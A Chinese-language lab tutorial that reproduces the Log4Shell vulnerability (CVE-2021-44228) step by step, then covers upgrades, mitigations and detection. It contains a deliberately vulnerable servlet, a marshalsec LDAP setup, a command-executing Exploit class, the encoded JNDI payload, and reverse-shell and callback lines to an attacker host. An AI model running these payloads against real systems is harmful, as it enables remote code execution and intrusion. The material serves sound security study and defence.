从零复现Log4j2漏洞:原理、环境搭建与实战利用

📅 2026/6/29 15:33:13
从零复现Log4j2漏洞:原理、环境搭建与实战利用
1. 项目概述为什么我们要亲手复现Log4j2漏洞如果你是一名安全从业者、开发人员或者是对网络安全感兴趣的学习者那么“Log4j2漏洞复现”这个标题对你来说一定不陌生。它几乎成了近年来安全圈的一个标志性事件一个教科书级别的案例。但你可能会有疑问网上分析文章那么多为什么我还要自己动手去复现一遍答案很简单纸上得来终觉浅绝知此事要躬行。看一百遍漏洞分析报告也不如自己亲手搭建环境、触发漏洞、看到那行命令被执行来得震撼和深刻。Log4j2漏洞更准确地说是CVE-2021-44228因其危害巨大、影响范围极广被形象地称为“Log4Shell”。它的核心原理是Log4j2库在处理日志消息时会对形如${jndi:ldap://attacker.com/a}的字符串进行递归解析并最终通过JNDIJava命名和目录接口从远程服务器加载并执行恶意代码。这意味着攻击者只需要让应用记录下一个精心构造的字符串比如通过HTTP请求头、表单参数、甚至用户名就能在服务器上获得一个远程命令执行RCE的入口其危害性不言而喻。复现这个漏洞绝不仅仅是为了“炫技”。它的价值在于第一深度理解漏洞机理。你能亲眼看到漏洞触发的完整链条从日志输入到JNDI查找再到远程类加载每一步都清晰可见。第二建立真实的风险感知。在受控的实验室环境里成功复现会让你对生产环境中此类漏洞的潜在威胁有切肤之痛从而在代码审查和架构设计时更加警惕。第三掌握防御与排查技能。知道了攻击是如何发生的你才能更有效地知道如何防御比如如何升级、如何配置、如何在日志中搜索攻击痕迹。本教程的目标就是带你从零开始搭建一个最简单的、存在漏洞的Java Web应用并一步步演示如何利用这个漏洞。我们会尽量剥离复杂的网络和中间件环境聚焦于漏洞本身的核心流程确保即使你是新手也能跟着操作并看到结果。整个过程我们会在一个隔离的虚拟机或Docker环境中进行确保安全。2. 环境准备与漏洞应用搭建复现任何漏洞第一步永远是搭建一个安全的、隔离的测试环境。我们绝对不建议在任何生产环境、甚至是你日常使用的开发机上直接操作。最稳妥的方式是使用虚拟机如VirtualBox Ubuntu或者Docker。这里我以Docker为例因为它更轻量环境构建和销毁也更方便。2.1 基础环境与工具清单我们需要准备以下工具和服务它们将分别扮演漏洞应用、攻击者服务器和靶机等角色Docker Docker Compose用于快速构建和运行我们的漏洞应用容器。确保你的宿主机已经安装。Java 8 或 11漏洞应用运行环境。我们会在Docker容器内安装但宿主机最好也有用于编译。MavenJava项目构建工具用于打包我们的漏洞演示应用。一个存在漏洞的Log4j2版本核心中的核心。我们将使用log4j-core版本2.14.1该版本受漏洞影响。实际上2.0-beta9到2.14.1之间的版本均受影响。攻击端工具一个LDAP服务器用于在攻击机上启动一个恶意的LDAP服务将JNDI请求重定向到我们的HTTP服务。我们将使用marshalsec这个工具来快速搭建。一个HTTP服务器用于托管恶意Java类文件.class。攻击链中LDAP服务会返回一个Reference指向这个HTTP服务器上的类文件。我们可以用Python的http.server模块快速启动。Netcat (nc)一个网络工具用于监听反弹Shell的连接证明我们成功执行了命令。2.2 构建漏洞演示应用我们不直接使用复杂的Spring Boot或其它框架而是创建一个最简单的Java Web应用基于Servlet以确保逻辑清晰。首先创建一个项目目录例如log4shell-demo并建立标准的Maven项目结构。pom.xml 关键配置这里我们故意引入有漏洞的Log4j2版本并添加Servlet支持。?xml version1.0 encodingUTF-8? project xmlnshttp://maven.apache.org/POM/4.0.0 xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd modelVersion4.0.0/modelVersion groupIdcom.demo/groupId artifactIdlog4shell-demo/artifactId version1.0-SNAPSHOT/version packagingwar/packaging properties maven.compiler.source8/maven.compiler.source maven.compiler.target8/maven.compiler.target project.build.sourceEncodingUTF-8/project.build.sourceEncoding !-- 关键使用存在漏洞的Log4j2版本 -- log4j2.version2.14.1/log4j2.version /properties dependencies !-- Log4j2 核心 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version${log4j2.version}/version /dependency !-- Log4j2 API -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version${log4j2.version}/version /dependency !-- Servlet API -- dependency groupIdjavax.servlet/groupId artifactIdjavax.servlet-api/artifactId version3.1.0/version scopeprovided/scope /dependency /dependencies build finalNamelog4shell/finalName plugins plugin groupIdorg.apache.maven.plugins/groupId artifactIdmaven-war-plugin/artifactId version3.3.2/version /plugin /plugins /build /project漏洞Servlet代码 (src/main/java/com/demo/Log4jServlet.java)这个Servlet接收一个名为input的参数并用Log4j2记录它。这就是我们的漏洞触发点。package com.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; WebServlet(/log) public class Log4jServlet extends HttpServlet { // 关键创建Logger private static final Logger logger LogManager.getLogger(Log4jServlet.class); Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String userInput req.getParameter(input); resp.setContentType(text/html); PrintWriter out resp.getWriter(); if (userInput ! null !userInput.isEmpty()) { // 漏洞触发点使用logger记录用户可控的输入 logger.error(Received input: {}, userInput); out.println(h1Logged: userInput /h1); } else { out.println(h1Please provide an input parameter./h1); } } }Log4j2 配置文件 (src/main/resources/log4j2.xml)一个简单的控制台输出配置确保日志能正常工作。?xml version1.0 encodingUTF-8? Configuration statusWARN Appenders Console nameConsole targetSYSTEM_OUT PatternLayout pattern%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/ /Console /Appenders Loggers Root levelerror AppenderRef refConsole/ /Root /Loggers /Configurationweb.xml (src/main/webapp/WEB-INF/web.xml)传统部署方式需要如果使用嵌入式容器可能不需要但为了通用性我们加上。?xml version1.0 encodingUTF-8? web-app xmlnshttp://xmlns.jcp.org/xml/ns/javaee xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd version3.1 display-nameLog4Shell Demo/display-name /web-app使用mvn clean package命令进行打包成功后会在target目录下生成log4shell.war文件。2.3 使用Docker运行漏洞应用我们使用Tomcat作为Servlet容器来运行我们的WAR包。编写一个简单的Dockerfile和docker-compose.yml来管理。Dockerfile:FROM tomcat:9-jre8-openjdk-slim # 删除Tomcat自带的默认应用 RUN rm -rf /usr/local/tomcat/webapps/* # 复制我们打包好的漏洞应用 COPY target/log4shell.war /usr/local/tomcat/webapps/ROOT.war # 暴露端口 EXPOSE 8080docker-compose.yml:version: 3.8 services: vulnerable-app: build: . container_name: log4shell-vuln-app ports: - 8080:8080 # 为了演示我们让容器使用host网络简化攻击时的网络访问仅限实验环境 network_mode: host在项目根目录下执行docker-compose up --build等待构建并启动。访问http://localhost:8080/log?inputtest如果看到页面显示 “Logged: test”并且控制台有相应的日志输出说明漏洞应用已经成功运行。注意这里为了极致简化复现流程我们使用了network_mode: “host”这意味着容器与宿主机共享网络命名空间。在实际的渗透测试或更真实的复现中你需要处理容器间或跨主机的网络通信可能需要配置自定义Docker网络并正确设置IP地址。这是第一个需要根据实际情况调整的地方。3. 攻击链搭建与恶意代码准备现在我们的“靶子”已经立起来了。接下来我们要扮演攻击者搭建两个关键服务恶意LDAP服务器和HTTP服务器并准备一个恶意的Java类。3.1 编译并启动恶意LDAP服务器我们使用开源的marshalsec工具来快速启动一个恶意的LDAP服务器。它能够响应JNDI的LDAP查找请求并返回一个指向我们HTTP服务器上恶意类的Reference。首先从GitHub克隆marshalsec并编译git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后jar包位于target/marshalsec-0.0.3-SNAPSHOT-all.jar。启动LDAP服务器的命令如下java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_ATTACKER_IP:8000/#Exploit解释一下这个命令marshalsec.jndi.LDAPRefServer是启动LDAP服务的主类。“http://YOUR_ATTACKER_IP:8000/#Exploit”是参数。它告诉LDAP服务器当有客户端查询时就返回一个Reference对象该对象的codebase指向这个URL并且类名为Exploit。这里的YOUR_ATTACKER_IP必须替换为运行HTTP服务器的机器IP在host网络模式下就是本机127.0.0.1。实操心得marshalsec默认监听在1389端口。确保你的防火墙没有阻止这个端口。另外#后面的类名这里是Exploit必须与我们后面编译的恶意类名完全一致大小写敏感。3.2 创建并编译恶意Java类这个类将是最终在靶机我们的漏洞应用服务器上被加载并执行的代码。为了证明漏洞利用成功我们让它执行一个简单的命令比如打开计算器Linux下用gnome-calculator Windows下用calc.exe或者更常见的是反弹一个Shell。这里我们写一个更通用的、执行任意命令的类。创建一个文件Exploit.javapublic class Exploit { static { try { // 根据不同操作系统选择命令 String os System.getProperty(os.name).toLowerCase(); String cmd; if (os.contains(win)) { // Windows: 打开计算器 cmd calc.exe; } else if (os.contains(nix) || os.contains(nux) || os.contains(mac)) { // Linux/Unix/Mac: 尝试打开计算器或执行echo cmd gnome-calculator || xcalc || echo Pwned!; } else { cmd echo Unknown OS; } // 执行命令 Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }为什么类里是一个static代码块因为当这个类被JVM加载时static代码块会自动执行。我们不需要创建类的实例只要类被加载攻击代码就运行了这对于漏洞利用来说非常方便。使用Java 8编译这个类javac Exploit.java编译后会生成Exploit.class文件。这个文件就是我们等下要托管在HTTP服务器上的“武器”。3.3 启动HTTP服务器我们需要一个Web服务器让靶机在收到LDAP服务器返回的Reference后能从这个服务器下载Exploit.class文件。在存放Exploit.class的目录下使用Python快速启动一个HTTP服务器python3 -m http.server 8000这个命令会在8000端口启动一个简单的HTTP文件服务器。确保它和LDAP服务器在同一台机器上并且IP和端口与启动LDAP服务器时指定的URL (http://YOUR_ATTACKER_IP:8000/) 一致。至此攻击端的准备工作全部完成。我们有了LDAP诱饵服务器在1389端口等待一旦有查询就告诉对方“去http://ATTACKER_IP:8000/找Exploit这个类”。HTTP武器库服务器在8000端口提供Exploit.class文件下载。恶意类一旦被加载就执行打开计算器的命令。4. 漏洞触发与利用全过程演示万事俱备只欠东风。现在让我们触发漏洞把整个攻击链串起来。4.1 构造攻击载荷我们的漏洞触发点在Servlet的logger.error(“Received input: {}”, userInput);这一行。Log4j2在记录日志时会对消息中的${}进行解析。因此我们需要向input参数传入一个特殊的字符串。攻击载荷的通用格式是${jndi:ldap://ATTACKER_IP:1389/Exploit}将其进行URL编码因为要通过HTTP GET参数传递得到%24%7Bjndi%3Aldap%3A%2F%2FATTACKER_IP%3A1389%2FExploit%7D在我们的实验环境中使用host网络所有服务都在本机ATTACKER_IP就是127.0.0.1。所以最终的攻击URL是http://localhost:8080/log?input%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2FExploit%7D4.2 发起攻击并观察现象确保你的三个服务都在运行漏洞应用Tomcat容器docker-compose up状态端口8080。恶意LDAP服务器运行着marshalsec命令端口1389。HTTP文件服务器运行着python3 -m http.server端口8000。在浏览器中直接访问上面构造好的攻击URL。或者使用curl命令curl “http://localhost:8080/log?input%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A1389%2FExploit%7D”观察各个终端的变化浏览器/curl会返回 “Logged: ${jndi:ldap://127.0.0.1:1389/Exploit}”。这很正常因为Servlet只是原样回显了输入。漏洞应用容器日志关键打开运行docker-compose up的终端。你会看到类似以下的日志输出... ERROR com.demo.Log4jServlet - Received input: ${jndi:ldap://127.0.0.1:1389/Exploit}这证明日志被记录了。但更重要的是如果漏洞触发你可能会看到一些额外的网络连接或类加载的日志取决于Tomcat/JVM配置最直观的是——你的宿主机桌面如果漏洞利用成功你应该会看到计算器程序被自动打开了这就是Exploit.class中static代码块执行的结果。观察攻击服务器终端LDAP服务器终端你会看到一条连接记录表明来自漏洞应用可能是容器IP或宿主机IP发起了LDAP查询。HTTP服务器终端你会看到一条GET请求记录请求/Exploit.class状态码是200。这证明漏洞应用确实从你的HTTP服务器下载了恶意类文件。如果一切顺利计算器弹窗的那一刻就标志着Log4j2漏洞复现成功你完成了一次完整的、从Web输入到远程代码执行的攻击链。4.3 深入理解攻击链是如何一步步执行的让我们拆解一下这短短几秒内发生的事情日志记录你的请求携带恶意Payload到达漏洞应用。Servlet获取到input参数值为${jndi:ldap://127.0.0.1:1389/Exploit}并将其传递给logger.error()。Lookup解析Log4j22.14.1及之前版本在记录日志时默认会对消息中的${}进行“查找”Lookup解析。它识别出jndi:这个模式。JNDI触发Log4j2调用JNDI服务去查找ldap://127.0.0.1:1389/Exploit。这相当于向127.0.0.1:1389这个LDAP服务器发起一个查询查询条目是Exploit。LDAP响应我们预先启动的恶意LDAP服务器marshalsec收到了查询请求。它并不真的有一个叫Exploit的LDAP条目而是返回了一个JNDIReference对象。这个Reference对象告诉客户端“你要找的Exploit类不在我这儿它的代码库codebase在http://127.0.0.1:8000/类名是Exploit你去那里加载吧。”远程类加载漏洞应用所在的JVM在Tomcat容器内收到这个Reference后如果其安全配置允许默认情况下高版本Java有限制但Java 8u191以下版本或某些配置下允许它会根据Reference中的地址去http://127.0.0.1:8000/请求Exploit.class文件。代码执行HTTP服务器将Exploit.class文件返回给JVM。JVM加载这个类。在加载过程中类静态代码块static {}自动执行里面的Runtime.getRuntime().exec(“calc.exe”)被调用计算器程序便在承载漏洞应用的服务器环境这里是Docker容器但通过host网络其效果等同于宿主机中启动。重要提示从Java 8u191、7u201、6u211及更高版本开始Oracle默认禁用了JNDI从远程codebase加载工厂类的能力即com.sun.jndi.ldap.object.trustURLCodebase默认为false。这就是为什么我们复现环境通常要使用Java 8u181 或更早的版本。如果你使用高版本Java可能无法直接加载远程类攻击链会在第5步中断。这时攻击者可能会转向利用本地ClassPath中已有的类进行利用即“绕过”但这增加了复杂度。本教程为了最直观地展示原理使用了允许远程加载的旧版本Java环境。5. 漏洞修复方案与防御实践成功复现漏洞让我们感受到了它的威力但更重要的是我们要知道如何防御它。修复Log4j2漏洞是一个多层次的工作。5.1 根本解决升级Log4j2版本这是最直接、最根本的解决方案。Apache Log4j2团队在漏洞爆发后迅速发布了安全版本。对于 Log4j 2.x 版本升级到2.17.1(Java 8),2.12.4(Java 7), 或2.3.2(Java 6)。这些版本默认禁用了JNDI查找功能并修复了相关的安全漏洞如CVE-2021-44228, CVE-2021-45046, CVE-2021-45105等。操作步骤检查你项目中的pom.xml(Maven) 或build.gradle(Gradle) 文件找到Log4j2的依赖声明。将版本号修改为对应的安全版本。例如在Maven中properties log4j2.version2.17.1/log4j2.version /properties重新编译和部署你的应用。务必进行全面的回归测试因为大版本升级有时会引入不兼容的变更。5.2 临时缓解措施如果无法立即升级在紧急情况下或者因为某些原因无法立即升级可以采用以下缓解措施修改JVM参数最有效临时方案 在启动应用的JVM参数中添加-Dlog4j2.formatMsgNoLookupstrue这个参数会让Log4j2在格式化日志消息时不进行Lookup解析从而从根本上阻断${}的解析。从Log4j2 2.10版本开始支持此参数。移除易受攻击的类暴力但有效 找到Log4j2核心jar包log4j-core-*.jar删除其中与JNDI查找相关的类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class此方法会破坏Log4j2的JNDI查找功能但可能影响依赖此功能的特定应用。环境变量设置 设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS为true效果与JVM参数类似。export LOG4J_FORMAT_MSG_NO_LOOKUPStrue使用安全产品进行防护 在应用前端部署WAFWeb应用防火墙配置规则拦截包含${jndi:、${ldap:、${rmi:等模式的请求。但这只是一种网络层的防护无法覆盖所有攻击入口如从数据库、消息队列中读取的恶意数据。5.3 长期防御与最佳实践修复一个CVE只是开始建立安全的开发运维习惯才能避免下一个。依赖项安全管理使用依赖扫描工具将OWASP Dependency-Check、Snyk、GitHub Dependabot等工具集成到CI/CD流水线中自动扫描项目依赖库的已知漏洞。最小化依赖定期审查pom.xml或build.gradle移除不必要的依赖。很多项目是通过传递依赖引入Log4j2的要仔细梳理。使用BOM物料清单对于大型项目或微服务群使用Spring Boot或Maven的Dependency Management BOM来统一管理第三方库的版本确保所有服务使用的都是经过审核的安全版本。安全编码规范永远不要信任用户输入这是安全的第一原则。所有来自外部的数据HTTP请求、文件、数据库、消息队列在记录日志前都应进行严格的过滤或转义。可以编写一个工具方法对日志内容中的${和}进行转义或直接删除。使用参数化日志就像我们示例中的logger.error(“Received input: {}”, userInput)这本身就是一种好的做法但Log4j2漏洞表明仅此还不够消息本身在格式化前仍可能被解析。运行时环境加固使用最新的JVM保持Java运行环境更新高版本Java默认限制了JNDI的远程加载能力。遵循最小权限原则以非root、非管理员权限运行Java应用即使被攻破攻击者获得的权限也有限。容器安全如果使用Docker/K8s使用非root用户运行容器限制容器的能力如--cap-drop ALL并设置只读根文件系统readOnlyRootFilesystem: true等安全上下文。监控与应急响应监控可疑日志在ELK或Splunk等日志平台中设置告警规则搜索日志中是否出现了jndi:、ldap:、rmi:等关键词。制定应急预案提前准备好漏洞应急检查清单包括如何快速定位受影响服务、如何验证修复是否生效等。6. 复现过程中的常见问题与排查技巧即使按照教程一步步操作你也可能会遇到一些问题。这里我总结了一些常见的坑和排查思路。6.1 漏洞未触发计算器没有弹出这是最常见的情况。请按照以下步骤排查检查Java版本这是最大的可能性。在漏洞应用容器内执行java -version。必须使用 Java 8u191、7u201、6u211 之前的版本或者手动设置了com.sun.jndi.ldap.object.trustURLCodebasetrue的高版本Java。建议使用openjdk:8u181-jre这类明确版本的镜像作为基础镜像。解决方案修改Dockerfile使用旧版本基础镜像例如FROM openjdk:8u181-jre-slim检查网络连通性确保漏洞应用容器能访问到攻击机LDAP和HTTP服务器。在host网络模式下用127.0.0.1通常没问题。如果在桥接网络或不同主机需要在漏洞应用容器内ping或curl攻击机的IP确保端口1389, 8000是通的。可能需要调整Docker网络设置或防火墙规则。检查服务是否正常运行LDAP服务器使用netstat -tlnp | grep 1389查看1389端口是否在监听。检查marshalsec启动命令的URL参数是否正确特别是IP和端口。HTTP服务器直接在浏览器访问http://ATTACKER_IP:8000/Exploit.class应该能下载到编译好的类文件。如果下载的是文本而不是二进制文件可能是Python服务器MIME类型问题可以尝试用python3 -m http.server 8000 –bind 0.0.0.0。查看应用日志这是最重要的调试信息源。确保Tomcat容器的日志输出级别足够详细。可以在启动Tomcat时添加JVM参数-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue并查看是否有关于JNDI或类加载的异常信息。有时安全管理器SecurityManager也会阻止加载。尝试简化Payload先使用一个不会执行命令但能证明DNS查询发生的Payload来测试网络和解析是否正常。例如${jndi:dns://ATTACKER_IP/somepath}。然后在攻击机用tcpdump或wireshark监听53端口看是否有DNS查询过来。如果能收到DNS查询说明Lookup解析和JNDI触发成功了问题可能出在后续的LDAP/HTTP阶段或Java版本限制上。6.2 攻击成功但命令执行不符合预期命令执行了但没看到效果我们的Exploit.class是在Tomcat容器内执行的。如果容器内没有图形界面通常都没有calc.exe或gnome-calculator命令会执行失败。你可以将恶意类中的命令改为在容器内可执行的命令例如touch /tmp/pwned创建一个文件或者curl http://ATTACKER_IP:9999/向攻击机发起一个网络请求同时在攻击机用nc -lvp 9999监听以此来证明命令执行成功。权限问题容器可能以低权限用户运行没有权限执行某些命令如安装软件。确保你的测试命令是容器内允许的。6.3 关于高版本Java的复现说明如果你使用的Java版本较高8u191默认情况下远程加载类会被阻止你会看到类似javax.naming.CommunicationException的异常或者直接忽略。在这种情况下复现就需要更复杂的技巧例如利用本地ClassPath中的类寻找目标应用ClassPath中已有的、可利用的类如org.apache.naming.factory.BeanFactory结合EL表达式。这需要更深入的研究和针对特定环境的构造。降低安全限制仅限实验在启动漏洞应用时添加JVM参数-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue。注意这绝对不适用于生产环境仅用于在受控的实验环境中理解漏洞原理。6.4 工具与命令速查表为了方便排查这里将关键工具和命令汇总角色工具/命令用途关键检查点靶机应用docker-compose up启动漏洞应用检查8080端口是否监听访问/log是否正常。靶机应用docker exec -it container_id /bin/bash进入容器内部检查Java版本 (java -version)检查网络 (ping ATTACKER_IP)。LDAP服务器java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer “…”启动恶意LDAP检查1389端口监听观察是否有连接日志。HTTP服务器python3 -m http.server 8000启动文件服务器检查8000端口监听浏览器访问http://IP:8000/Exploit.class能否下载。网络诊断netstat -tlnp查看端口监听确认1389, 8000, 8080端口是否处于LISTEN状态。网络诊断tcpdump -i any port 53监听DNS流量用于测试${jndi:dns://…}这类Payload是否生效。攻击验证nc -lvp 9999监听反弹Shell将恶意类中的命令改为bash -i /dev/tcp/ATTACKER_IP/9999 01(Linux) 或PowerShell反弹命令用nc接收连接。复现漏洞的过程本质上是一个系统性的调试过程。遇到问题时冷静地按照“网络-服务-配置-代码”的顺序逐一排查查看每一环的日志输出大部分问题都能迎刃而解。这个过程本身就是一次极佳的安全实战学习。